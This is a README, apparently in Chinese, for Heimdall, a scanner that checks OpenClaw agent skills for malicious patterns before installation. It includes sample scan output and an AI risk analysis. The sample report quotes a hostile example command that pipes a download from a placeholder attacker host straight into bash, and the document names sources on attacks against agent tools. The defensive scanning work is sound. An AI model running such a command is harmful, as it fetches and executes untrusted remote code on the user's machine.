在安装前扫描 OpenClaw 技能中的恶意模式。提供基于 AI 的叙事分析,实现上下文感知扫描。
在以下情况使用 Heimdall:
- 从 ClawHub 或 GitHub 安装新技能时
- 将技能添加到工作区前进行审查时
- 审计已安装的现有技能时
- 他人分享技能 URL,您想验证其安全性时
~/clawd/skills/heimdall/scripts/skill-scan.py /path/to/skill
~/clawd/skills/heimdall/scripts/skill-scan.py --analyze /path/to/skill
需要设置 OPENROUTER_API_KEY 环境变量或 ~/clawd/secrets/openrouter.key 文件。
# 克隆到临时目录,扫描,然后删除
git clone https://github.com/user/skill /tmp/test-skill
~/clawd/skills/heimdall/scripts/skill-scan.py --analyze /tmp/test-skill
rm -rf /tmp/test-skill
for skill in ~/clawd/skills/*/; do
echo "=== $skill ==="
~/clawd/skills/heimdall/scripts/skill-scan.py "$skill"
done
| 选项 | 描述 |
|---|---|
--analyze |
启用 AI 叙事分析(使用 Claude) |
--strict |
忽略上下文,标记所有匹配项 |
--json |
输出 JSON 格式 |
-v, --verbose |
显示所有发现项 |
--show-suppressed |
显示被上下文抑制的发现项 |
============================================================
🔍 技能安全扫描报告 v4.0
============================================================
📁 路径: /tmp/suspicious-skill
📄 扫描文件数: 6
🔢 活跃问题: 14
⚡ 最高严重等级: 严重
📋 建议操作: 🚨 严重 - 已阻止 - 可能恶意
============================================================
🚨 严重 (3 个问题):
[shell_exec]
• install.sh:12 - 管道到 bash
匹配项: curl https://evil.com | bash
--analyze)============================================================
🔍 HEIMDALL 安全分析
============================================================
📁 技能: suspicious-skill
⚡ 判定结果: 🚨 高风险 - 需要高度信任
## 摘要
此技能会安装来自外部公司的代码,该代码能够自我修改并向第三方服务器发送遥测数据。
## 主要风险
### 1. 数据外泄
OpenTelemetry 将执行跟踪发送到外部服务器。
您的智能体行为 → 他们的服务器。🚨
### 2. 供应链攻击面
安装和自进化过程中会从外部仓库克隆代码。
## 您将同意的事项
1. 安装他们的代码
2. 允许其自我修改
3. 向他们发送遥测数据
## 建议
🔴 不要在存有真实数据/密钥的任何机器上安装。
============================================================
Heimdall 理解上下文以减少误报(约降低 85%):
| 上下文 | 严重等级调整 |
|---|---|
| 代码 | 完全严重等级 |
| 配置 | 降低 1 级 |
| 文档 | 降低 3 级(README 中的模式通常是示例) |
| 字符串 | 降低 3 级(黑名单定义) |
使用 --strict 可禁用上下文调整并标记所有内容。
模式来源于:
- Simon Willison - Moltbook 安全分析
- PromptArmor - MCP 工具攻击
- LLMSecurity.net - 自动批准漏洞利用
- OWASP - 注入攻击
从 ClawHub 安装后,为方便使用可创建别名:
echo 'alias skill-scan="~/clawd/skills/heimdall/scripts/skill-scan.py"' >> ~/.bashrc
source ~/.bashrc
要使用 AI 分析,请确保您拥有 OpenRouter API 密钥:
# 方法 1: 环境变量
export OPENROUTER_API_KEY="sk-or-..."
# 方法 2: 保存到文件
echo "sk-or-..." > ~/clawd/secrets/openrouter.key
由 Enterprise Crew 🚀 构建
- Ada 🔮(大脑 + BD/销售)
- Spock 🖖(研究与运维)
- Scotty 🔧(构建者)
GitHub: https://github.com/henrino3/heimdall